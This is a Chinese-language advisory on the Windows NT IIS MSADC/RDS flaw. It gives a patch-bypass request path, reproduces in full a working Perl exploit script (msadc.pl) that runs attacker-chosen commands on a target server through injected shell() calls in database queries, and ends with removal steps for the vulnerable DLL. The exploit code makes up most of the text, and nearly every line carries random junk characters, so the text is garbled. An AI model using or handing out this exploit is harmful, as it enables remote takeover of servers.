IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
E; RI.6y
/D~z}\k 涉及程序:
z`
gR*+ Microsoft NT server
N'[^n,\(: 4|Z3;;%+ 描述:
<PfW 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
-ud!j D $ `yxc 详细:
Kq.)5%~> 如果你没有时间读详细内容的话,就删除:
MNJ$/l)h c:\Program Files\Common Files\System\Msadc\msadcs.dll
M+nz~,![ 有关的安全问题就没有了。
N %0F[sY6 %Xp}d5- 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
\UK 9 \/lS!+~''] 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
{){i
ONd 关于利用ODBC远程漏洞的描述,请参看:
Ng;E]2" r[~Km5 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm fv`%w )8LCmvQ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
f+gyJ#R` http://www.microsoft.com/security/bulletins/MS99-025faq.asp JO1c9NyKr v?Y9z!M 这里不再论述。
9Y-s],2V bh_i*DJ] 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
#x"pG zFv>'1$ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
yQCfn1a) 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
L! Q&?xP ]M= 3Sn8} ,hX03P-X #将下面这段保存为txt文件,然后: "perl -x 文件名"
>F@7}Y( j;<;?IW #!perl
{) jQbAr(G #
^V>sNR # MSADC/RDS 'usage' (aka exploit) script
ZmYp!B_~ #
##yi^;3Y # by rain.forest.puppy
)/f,.Z$ #
9-)oA+$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
aA0aW=R # beta test and find errors!
Ok
O;V6` 0} HKmEM use Socket; use Getopt::Std;
R+, tn,<< getopts("e:vd:h:XR", \%args);
Q{mls [O(78n$$ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
QbpRSdxy`$ v)J6}H}e if (!defined $args{h} && !defined $args{R}) {
f,PFvT$5e print qq~
k,b(MAiQ0 Usage: msadc.pl -h <host> { -d <delay> -X -v }
sa*]q~a -h <host> = host you want to scan (ip or domain)
'du:Bxl`d4 -d <seconds> = delay between calls, default 1 second
UZ&bT'>;9g -X = dump Index Server path table, if available
ZK_IK)g -v = verbose
m5f/vb4l -e = external dictionary file for step 5
Fi(_A _vvnxG!x& Or a -R will resume a command session
!^G+@~U ZYrd;9zB ~; exit;}
U*v//@WbH +<@7x16 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
.U9NQwd if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
(a]'}c$X9` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
U}7$:hO"dX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
j:$2,?|5 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
R7Hn8;.. if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
g#5g0UP)V rb&^ ei9B if (!defined $args{R}){ $ret = &has_msadc;
u|9^tHT> die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
az0( 54M $fuFx8`2W print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%|oY8;0|A> . "cmd /c ";
d<(1^Rto $in=<STDIN>; chomp $in;
RiaO`|1 $command="cmd /c " . $in ;
Mz+|~'R Lm:O
vVVB if (defined $args{R}) {&load; exit;}
IS]0 3_uQ !W]># Pm print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
lb`P9mbr+ &try_btcustmr;
x-CYG?-x =<O{ print "\nStep 2: Trying to make our own DSN...";
6i%LM`8GEk &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
a%Cq?HZ7 / D#vs9S print "\nStep 3: Trying known DSNs...";
241YJ &known_dsn;
SU2(XP]5 (al7/EhY print "\nStep 4: Trying known .mdbs...";
QH~/UnV &known_mdb;
$:/y5zi 6SlE>b9tA if (defined $args{e}){
0!_D M^3 print "\nStep 5: Trying dictionary of DSN names...";
} +i
ZY\t &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
SX/yY = ?vk n print "Sorry Charley...maybe next time?\n";
f1hi\p0q exit;
VH,k EbJ DU]MMR ##############################################################################
G\Toi98d* B58H7NH ;G sub sendraw { # ripped and modded from whisker
/Eh\07p sleep($delay); # it's a DoS on the server! At least on mine...
)0fQ(3oOg my ($pstr)=@_;
peR=J7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.Eh~$wm die("Socket problems\n");
1Qhx$If~ if(connect(S,pack "SnA4x8",2,80,$target)){
;oWh Tj` select(S); $|=1;
o9q%=/@, print $pstr; my @in=<S>;
~e, select(STDOUT); close(S);
(3{'GX2c return @in;
=u${2= } else { die("Can't connect...\n"); }}
#e+%;5\ &Mo=V4i> ##############################################################################
Nd^9.6,JU '1=/G7g sub make_header { # make the HTTP request
@\u)k my $msadc=<<EOT
%jKR\f G POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@Eqc&v!O User-Agent: ACTIVEDATA
g%1!YvS3v Host: $ip
91mXv Q:u Content-Length: $clen
#x)G2T'? Connection: Keep-Alive
V{ra,a* H<X4R ADCClientVersion:01.06
P}DrUND Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
]A9Vh ( F0.lDZ --!ADM!ROX!YOUR!WORLD!
8T$:^HW Content-Type: application/x-varg
gC<\1AIu Content-Length: $reqlen
C[n,j#Mvje 6(DK\58 EOT
DY~~pi~ ; $msadc=~s/\n/\r\n/g;
{BY`Wu:w return $msadc;}
2s?j5 Sd {nm#aA%, ##############################################################################
tvf"w`H "&Q-'L!M'/ sub make_req { # make the RDS request
Dn<2.!ZKQ my ($switch, $p1, $p2)=@_;
v-42_} my $req=""; my $t1, $t2, $query, $dsn;
$C,f>^1 H Y.,f_m if ($switch==1){ # this is the btcustmr.mdb query
<4C`^p $query="Select * from Customers where City=" . make_shell();
`$G7Ia_ $] $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
XRJ<1w: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
k[A=:H1" R:0Fv9bwS elsif ($switch==2){ # this is general make table query
kH-1l>": $query="create table AZZ (B int, C varchar(10))";
ZMg%/C $dsn="$p1";}
TLPy/, JjyQ elsif ($switch==3){ # this is general exploit table query
{ tim{nV $query="select * from AZZ where C=" . make_shell();
XMa(XOnX $dsn="$p1";}
gigDrf} >(`|oD`,Y elsif ($switch==4){ # attempt to hork file info from index server
HP*x?|4 $query="select path from scope()";
jR}h3! $dsn="Provider=MSIDXS;";}
1#aOgvf >~>=[M0 elsif ($switch==5){ # bad query
&AUL]:<s $query="select";
?u'JhZ $dsn="$p1";}
fnL!@WF aNv6 " $t1= make_unicode($query);
}Jjq] lW $t2= make_unicode($dsn);
K )KE0/n $req = "\x02\x00\x03\x00";
&p=|z2 J $req.= "\x08\x00" . pack ("S1", length($t1));
X7NRQ3P@ $req.= "\x00\x00" . $t1 ;
_GI [SzD $req.= "\x08\x00" . pack ("S1", length($t2));
VqVP5nT'= $req.= "\x00\x00" . $t2 ;
h9>~?1$lz $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
HEht^/pJ return $req;}
Fm*n>^P@Y 7:mM`0g! ##############################################################################
)
;-AT^ Vnv<]D
zC sub make_shell { # this makes the shell() statement
p9oru0q return "'|shell(\"$command\")|'";}
e9k}n\t3 2ZNTg@o ##############################################################################
XHlPjw wgkh}b
sub make_unicode { # quick little function to convert to unicode
Ju)2J?Xs5 my ($in)=@_; my $out;
Ij@YOt for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
~"
}t8`vP1 return $out;}
0-l
@U{ uAK-%Uu? ##############################################################################
?!Rlp/ X<,sc;"b`k sub rdo_success { # checks for RDO return success (this is kludge)
OHp 121 my (@in) = @_; my $base=content_start(@in);
5W 5\*L if($in[$base]=~/multipart\/mixed/){
^0~?3t5 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
V8[woJ5x return 0;}
7! <cU Z-Bw?_e_K ##############################################################################
[AE]0cO@ L7q%u.nB1 sub make_dsn { # this makes a DSN for us
1i2jYDB" my @drives=("c","d","e","f");
jW?.>( print "\nMaking DSN: ";
t#6gjfIi foreach $drive (@drives) {
<y-KWWE print "$drive: ";
G)5%f\& my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ldI;DoE#U1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
G?'L1g[lc . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
}4A+J"M4y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
gPQ2i])"Q return 0 if $2 eq "404"; # not found/doesn't exist
rguC#Xt!4 if($2 eq "200") {
#x':qBv# foreach $line (@results) {
oKA8)~Xqou return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
WH/r$.& } return 0;}
*1Nz
VV .OXvv _?< ##############################################################################
HWVWl~FA k2k/v[60 sub verify_exists {
A5y?|q>5 my ($page)=@_;
J--9VlC' my @results=sendraw("GET $page HTTP/1.0\n\n");
224I%x., return $results[0];}
LPO3B W uDQ
d48> ##############################################################################
uJF,:}qA 3MNo&0M9 sub try_btcustmr {
]*ZL>fuD| my @drives=("c","d","e","f");
,%v my @dirs=("winnt","winnt35","winnt351","win","windows");
ASR"<] xh_6@}D2J foreach $dir (@dirs) {
*D*K`dk print "$dir -> "; # fun status so you can see progress
VISNmz2P foreach $drive (@drives) {
;IXDZ#; print "$drive: "; # ditto
h+t{z"Ic= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
x_2
[+Ol $reqlenlen=length( "$reqlen" );
7evE;KL $clen= 206 + $reqlenlen + $reqlen;
g[q1P:I@W D!TS/J1S;u my @results=sendraw(make_header() . make_req(1,$drive,$dir));
gSL$silc if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
EAj2uV else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
^qS[2Dy GT|=Apnwr% ##############################################################################
bkLm]n3 [fxAj] sub odbc_error {
PG&@.KY my (@in)=@_; my $base;
y9pQ1H<F; my $base = content_start(@in);
/".+OpL if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
k8 ,.~HkU $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x AkM_< $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R`!x<J $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^r}^- return $in[$base+4].$in[$base+5].$in[$base+6];}
_dmgNbs print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
.v/s9'lB print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
~
9^1m $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
q 1Rk'k4+ ]wER&/v" ##############################################################################
8QXxRD;0: \m*?5]m; sub verbose {
P7 H-Dw my ($in)=@_;
{S'xZ._= return if !$verbose;
RUlM""@b print STDOUT "\n$in\n";}
"
F~uTo C.}Z5BwS ##############################################################################
ZiSy&r:( q,PB;TT sub save {
?UcW@B{ my ($p1, $p2, $p3, $p4)=@_;
a% Q.8 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
FxTOc@< print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
0 #VH=p ga close OUT;}
CsQ}eW8uEf n;xtUw6\ ##############################################################################
$s)G0/~W CLdLO u" sub load {
R1&(VK{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
iNT 1lk open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:G9.}VrU @p=<IN>; close(IN);
T&tCXi $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Tm.(gK $target= inet_aton($ip) || die("inet_aton problems");
>]&LbUW+ print "Resuming to $ip ...";
4%KNHeaN $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
k$i76r if($p[1]==1) {
BN|+2D+S $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
#T99p+O $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
[`6|~E"F my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
k8GcHqNHx if (rdo_success(@results)){print "Success!\n";}
:@`Ll;G else { print "failed\n"; verbose(odbc_error(@results));}}
j_o6+Rk elsif ($p[1]==3){
0^?3hK if(run_query("$p[3]")){
?Q]&d!UCs print "Success!\n";} else { print "failed\n"; }}
zq8z#FN elsif ($p[1]==4){
Q*^zphT if(run_query($drvst . "$p[3]")){
A@?2qX^4 print "Success!\n"; } else { print "failed\n"; }}
>(<OhS( exit;}
B&0-~o3WP =L
7scv%i ##############################################################################
|GA4fFE= z5=&qo|f9l sub create_table {
Yih^ZTf]O? my ($in)=@_;
xD8x1- $reqlen=length( make_req(2,$in,"") ) - 28;
n,wLk./` $reqlenlen=length( "$reqlen" );
K9mL1 [B $clen= 206 + $reqlenlen + $reqlen;
V2^(qpM! my @results=sendraw(make_header() . make_req(2,$in,""));
{I@@i8)] return 1 if rdo_success(@results);
yLW iY~Fd my $temp= odbc_error(@results); verbose($temp);
Vx~[;*{,C9 return 1 if $temp=~/Table 'AZZ' already exists/;
#?@k=e\ return 0;}
5dXC EZ8Ih,j9 ##############################################################################
c}U&!R2p{ Y 'Yoc sub known_dsn {
Ki,]*-XO # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Aq^1(-g my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
c#<v:b "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
([qw#!;w; "banner", "banners", "ads", "ADCDemo", "ADCTest");
QNLkj`PL/ vh"zYl` foreach $dSn (@dsns) {
>Yl?i&3n print ".";
^}ngbDn next if (!is_access("DSN=$dSn"));
b*n o.eB if(create_table("DSN=$dSn")){
gLaFIeF<+ print "$dSn successful\n";
l-Xxur5M' if(run_query("DSN=$dSn")){
XTG*56IzL print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
pa~.[cBI print "Something's borked. Use verbose next time\n";}}} print "\n";}
qq]ZkT} JY(_}AAu ##############################################################################
$*Njvr7 &DYHkG sub is_access {
4l@*x^F my ($in)=@_;
G[)Ll= $reqlen=length( make_req(5,$in,"") ) - 28;
)Jz L $reqlenlen=length( "$reqlen" );
f[6;)ZA $clen= 206 + $reqlenlen + $reqlen;
N32!*TsWs my @results=sendraw(make_header() . make_req(5,$in,""));
?i>.<IPOq my $temp= odbc_error(@results);
)|~pocXt< verbose($temp); return 1 if ($temp=~/Microsoft Access/);
%4Y/-xF}9, return 0;}
SaH0YxnY+ RCsQLKqF ##############################################################################
Hq?-e?Nc z:u e]7(. sub run_query {
nr
Jl>H
my ($in)=@_;
C:"Al- $reqlen=length( make_req(3,$in,"") ) - 28;
y[UTuFv~Q $reqlenlen=length( "$reqlen" );
npkE[JE: $clen= 206 + $reqlenlen + $reqlen;
7H:1c=U my @results=sendraw(make_header() . make_req(3,$in,""));
I8d#AVF2 return 1 if rdo_success(@results);
<{Wsh#7 }. my $temp= odbc_error(@results); verbose($temp);
oP$NTy[ return 0;}
X2 c<. 9fp1*d ##############################################################################
_8vq]|rC w^s|YF=c sub known_mdb {
*)gbKXb my @drives=("c","d","e","f","g");
?lKFcm my @dirs=("winnt","winnt35","winnt351","win","windows");
U;<07
aMj my $dir, $drive, $mdb;
3WZ]9v{k my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
EJ;:O1,6H 5`53lK.C # this is sparse, because I don't know of many
X-|Lg.s my @sysmdbs=( "\\catroot\\icatalog.mdb",
/XEUJC4 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
h$)+$^YI "\\system32\\certmdb.mdb",
K9\`Wu_qL "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ne4j_!V{Mf 2%y}El^+_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
_5uzu6:y "\\cfusion\\cfapps\\forums\\forums_.mdb",
_Qs=v0B// "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
^31X-}tv "\\cfusion\\cfapps\\security\\realm_.mdb",
Q&}`( ]k "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-&I)3 "\\cfusion\\database\\cfexamples.mdb",
]mYT!(} "\\cfusion\\database\\cfsnippets.mdb",
9^h0D}#@ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
9YS &RBJu "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
&x
=}m "\\cfusion\\brighttiger\\database\\cleam.mdb",
MDGD*Qn~ "\\cfusion\\database\\smpolicy.mdb",
Z&e_yl "\\cfusion\\database\cypress.mdb",
sPuNwVX>}I "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
8<#X]I_eP+ "\\website\\cgi-win\\dbsample.mdb",
8@^=k.5IK "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)R.y>Ucb0 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
u=I \0H ); #these are just
N2[EdOJT_ foreach $drive (@drives) {
w#_/CUL foreach $dir (@dirs){
u )cc foreach $mdb (@sysmdbs) {
uO8z . print ".";
59A@~;.F if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
0l=g$G
\% print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Pb4%"9` if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Ea#wtow|- print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
dr#g[}l'H } else { print "Something's borked. Use verbose next time\n"; }}}}}
\ws<W7 8R<2I1xn2 foreach $drive (@drives) {
'o;>6u<u foreach $mdb (@mdbs) {
|giV<Sj print ".";
c@!%.# |y if(create_table($drv . $drive . $dir . $mdb)){
&~Qi+b0! print "\n" . $drive . $dir . $mdb . " successful\n";
2MaHD}1Jw if(run_query($drv . $drive . $dir . $mdb)){
>|Ps23J# print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{,61V;Bpm } else { print "Something's borked. Use verbose next time\n"; }}}}
[9dW9[Z+! }
rvrv[^a( }{/3yXk[G ##############################################################################
YBb%D @k~'b sub hork_idx {
uf4C+ci print "\nAttempting to dump Index Server tables...\n";
?hu}wl) print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
s @\UZC $reqlen=length( make_req(4,"","") ) - 28;
0h ^&`H: $reqlenlen=length( "$reqlen" );
'}3@D$YiM% $clen= 206 + $reqlenlen + $reqlen;
's#"~<L^e my @results=sendraw2(make_header() . make_req(4,"",""));
y^pzqv if (rdo_success(@results)){
y
qDE|DIez my $max=@results; my $c; my %d;
&!7{2E\7C for($c=19; $c<$max; $c++){
Kgh@.Ir $results[$c]=~s/\x00//g;
zSt6q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
M{M>$pt $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
!@j5 yYf $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
w$%d"Jm#X $d{"$1$2"}="";}
g*]Gc% foreach $c (keys %d){ print "$c\n"; }
}Jfi"L } else {print "Index server doesn't seem to be installed.\n"; }}
t:|knZq P(B:tg ##############################################################################
KtH-QQDluj nHiE$Y sub dsn_dict {
$}kT)+K open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Z#w@ /!"}T while(<IN>){
:ZrE/3_S $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
8~Avg6, next if (!is_access("DSN=$dSn"));
hI249gW9 if(create_table("DSN=$dSn")){
^W}(]jL print "$dSn successful\n";
#J&45 if(run_query("DSN=$dSn")){
cVCylRU" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
i`#5dIb print "Something's borked. Use verbose next time\n";}}}
P")duv print "\n"; close(IN);}
%^1@c f?. (<y~]ig y ##############################################################################
\Eqxmo %C}TdG(C sub sendraw2 { # ripped and modded from whisker
b|_Pt sleep($delay); # it's a DoS on the server! At least on mine...
N0`v;4gF$] my ($pstr)=@_;
Z1u:OI@( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
h,QC#Ak o die("Socket problems\n");
0Bbno9Yp if(connect(S,pack "SnA4x8",2,80,$target)){
6%N.'wf print "Connected. Getting data";
Lckb*/jV& open(OUT,">raw.out"); my @in;
|j3fS[.$ select(S); $|=1; print $pstr;
k4WUfL d while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
L{XNOf3 close(OUT); select(STDOUT); close(S); return @in;
/*,hR >UG } else { die("Can't connect...\n"); }}
HHd;<% q !I3_KuJ5 ##############################################################################
t\&u T.m*LM sub content_start { # this will take in the server headers
ks{y=@<, my (@in)=@_; my $c;
MA9Oi(L)K for ($c=1;$c<500;$c++) {
9k5$rK` if($in[$c] =~/^\x0d\x0a/){
"zpc)'$L= if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
.v<Q-P\8/ else { return $c+1; }}}
eRV4XB : return -1;} # it should never get here actually
cPQUR^!5 0A$x'pU) ##############################################################################
_G9vsi oUXi4lsSc sub funky {
ZY NHVR my (@in)=@_; my $error=odbc_error(@in);
p%MH**A if($error=~/ADO could not find the specified provider/){
b=Rw=K.
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
u/W exit;}
PDwi] )6mf if($error=~/A Handler is required/){
E RnuM print "\nServer has custom handler filters (they most likely are patched)\n";
%OS}BAh^i exit;}
8 cN[t.S if($error=~/specified Handler has denied Access/){
mBb;:-5 print "\nServer has custom handler filters (they most likely are patched)\n";
Yfro^}f exit;}}
Q:U^):~ ^P)W/2 ##############################################################################
j^ y9+W_b tXZE@JyuC sub has_msadc {
s+9q`k^ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0[ (Z48 my $base=content_start(@results);
(7v]bqfw return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
AHa%?wb return 0;}
lt:xN?--A? u;-_%? ########################
0f"9wPC 99xs5!4s &35 6
解决方案:
SEf:u 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
"Q{)H8,E)x 2、移除web 目录: /msadc